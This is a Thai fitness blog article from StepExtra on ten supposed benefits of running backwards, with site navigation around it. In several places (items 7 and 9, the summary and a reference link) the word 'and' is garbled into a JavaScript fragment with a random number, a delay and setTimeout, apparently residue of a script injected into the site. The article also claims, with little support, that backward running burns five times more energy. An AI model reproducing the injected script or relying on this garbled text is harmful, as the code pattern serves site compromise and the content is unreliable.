• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

10 ประโยชน์ของการ “วิ่งถอยหลัง”

stepextra by stepextra
26 April 2016
in Feature, Running Tips, Tips & Technics
0
10 ประโยชน์ของการ “วิ่งถอยหลัง”
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

รู้หรือไม่ว่าการ “วิ่งถอยหลัง” (Run backward) สามารถเบริ์นเเคลอรี่ได้มากกว่าการวิ่งไปข้างหน้าธรรมดา เเถมช่วยปรับทวงท่าเดินเหิน (Posture) ของเราด้วยนะ อยากรู้ว่าการวิ่งถอยหลังดีอย่างไร วันนี้เรามี 10 ประโยชน์ของการ “วิ่งถอยหลัง” มานำเสนอ….

1.การวิ่งถอยหลังช่วยพัฒนากล้ามเนื้อส่วนไม่ได้ใช่งานในเวลาวิ่งไปข้างหน้า ช่วยพัฒนาสมดุลกล้ามเนื้อให้ดีขึ้น อย่างเช่นกล้ามเนื้อกลุ่ม Claves และ Shins นอกจากนี้ยังช่วยผ่อนคลายกล้ามเนื้อช่วงล่างได้อย่างดี ลดอาการตึงเครียดจากการวิ่งไปข้างหน้าซ้ำๆ กัน

000000001

2. ช่วยปรับการลงเท้าให้ดีขึ้น การวิ่งถอยหลังจะบังคับให้เราลงเท้าในช่วง Midfoot และ frontfoot ได้มากกว่าการลงส้นเท้า เราจึงมีสปริงมารองรับเเรงกระเเทก ช่วยลดการกระทืบเท้า ถนอมหัวเข่าเราไปได้นาน

3. ดีต่อระบบการหวุนเวียนเลือด หัวใจ เพระาการวิ่งถอยหลังต้องใช้ความพยายามมากกว่าการวิ่งไปข้างหน้า ทำให้ร่างกายต้องเผาผลาญพลังงานมากกว่าการวิ่งธรรมดา 5 เท่า *(จากนิตยสาร Thai Jogging) ใครที่ต้องการลดไขมันหรือควบคุมน้ำหนักไม่ควรพลาด

4. ช่วยปรับทวงท่าให้ดีขึ้น การวิ่งถอยหลังจะบังคับให้เราเอนไปข้างหลัง หัวไหล่จะกางออก ช่วงลำตัว และอกยืดตรงไม่วิ่งงอตัวเหมือนกับการวิ่งไปข้างหน้าทั่วไป เป็นการปรับ Posture ที่ดีทีเดียว

5. ปรับระบบประสาทสัมผัสให้ดีขึ้น เพราะการวิ่งไปข้างหลังจะต้องพึ่งพาประสาทหูหรือการรับเสียง การสัมผัสโดยการใช้กล้ามเนื้อ การจินตนาการภาพเเละการกะระยะ มากกว่าการใช้สายตา ท้ายสุดยังเป็นการฝึกรักษาบาลานซ์ของร่างกาย ได้ดีกว่าการวิ่งไปข้างหน้า เพราะต้องใช้สมาธิมากกว่าเดิม

london-backwards-run-1310928402-view-0

6. การวิ่งถอยหลังช่วยฝึกกกล้ามเนื้อช่วงท้องหรือ Abs ด้วยนะ เพราะเวลาวิ่งถอยหลังกล้ามเนื้อท้องจะท้องรับน้ำหนักจากการเอนหลังเเละรักษาบาลานซ์ร่างกายเวลาวิ่ง เเละยังมีกล้ามเนื้อ Glutes หรือกล้ามเนื้อก้นที่ต้องทำงานรวมกันด้วย เรียกได้ว่าวิ่งไปได้ทั้ง กล้ามท้องเเละก้นอันสวยงาม คุณผู้หญิงไม่ควรพลาด

7. การวิ่งถอยหลังมีประโยชน์ในด้าน การทำกายภาพบำบัดเเละช่วยป้องกันอาการบาดเจ็บได้อีกด้วย (Injury prevention andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and rehabilitation) การวิ่งถอยหลัง ดีต่อคนรักการออกกำลังกาย เพราะสามารถรักษาระดับความฟิต ขณะเดียวกันก็ช่วยลดเเรงกระเเทกที่กระทำต่อหัวเข่า ช่วยเพิ่มจำนวน stride ให้ถี่ขึ้น เท้าเเต่ละข้างช่วยกันทำงานได้มีประสิทธิภาพมากขึ้น ช่วงเวลารับเเรงกระเเทกน้อยลง สำหรับใครที่มีอาการ ITBS หรือปวดข้อเข่า ช่วยฟื้นฟูคุณได้

8. สามารถใช้เป็นการ วอร์มอัพ และการวิ่งเพื่อ recovery

9. เจาะลึกลงไปเกี่ยวการวิ่งถอยหลังเเละการพัฒนาส่วนของการรับรุูและประสาทสัมผัสกันอีกนิด การวิ่งถอยหลังหรือเดินถอยหลังช่วยพัฒนาสมอง กระตุ้นส่วนที่ไม่ค่อยได้ใช่งานให้กลับมา active อีกครั้ง เพิ่มการเชื่อมต่อเซล์ประสาทในสมอง การถอยหลังวิ่งนอกจากพัฒนาการรับรู้ ตา หู กล้ามเนื้อ ยังมีผลต่อการจินตนาการ การสร้างภาพในสมอง และช่วยเพิ่มความมั่นคงให้จิตใจด้วย การตัดสินใจก้ดีขึ้นด้วย

10. การผสมผสานการฝึกวิ่ง ทั้งการวิ่งไปข้างหน้าเเบบปกติ เเละการฝึกวิ่งถอยหลังจะช่วยเพิ่มอายุการเป็นนักวิ่งของคุรให้ยาวนานขึ้น

backwards-runner-1_1517290a

สรุปการฝึก “วิ่งถอยหลัง” ดีต่อร่างกายอย่างไร…เราจำเเนกออกมาเป็น 1.การเสริมสร้างกล้ามเนื้อให้เเข็งเเรง (strengthening muscles) และความฟิต (fitness) 2. ช่วยในเรื่องของการป้องกันอาการบาดเจ็บเเละฟื้นฟู (Injury prevention andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and rehabilitation) 3. ช่วยในเรื่องการพัฒนาประสาทรับรู้สัมผัสและระบบเซล์ประสาทร่างกาย และสุดท้าย 4. ช่วยในเรื่องจิตใจ เสริมสร้างความมั่นใจ (mental andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and confident)

อ้างอิง

www.wackynation.com

www.vcharkarn.com

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andsoul.com.au/fitness/running/how+to+keep+fit+by+running+backwards,18653″ target=”_blank”>www.bodyandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andsoul.com.au

www.thesun.co.uk

 

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • อาดิดาสเปิดตัวชุดออกกำลังกายผู้หญิงคอลเลคชั่น Must Have เพิ่มความมั่นใจกระชับทุกสัดส่วน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.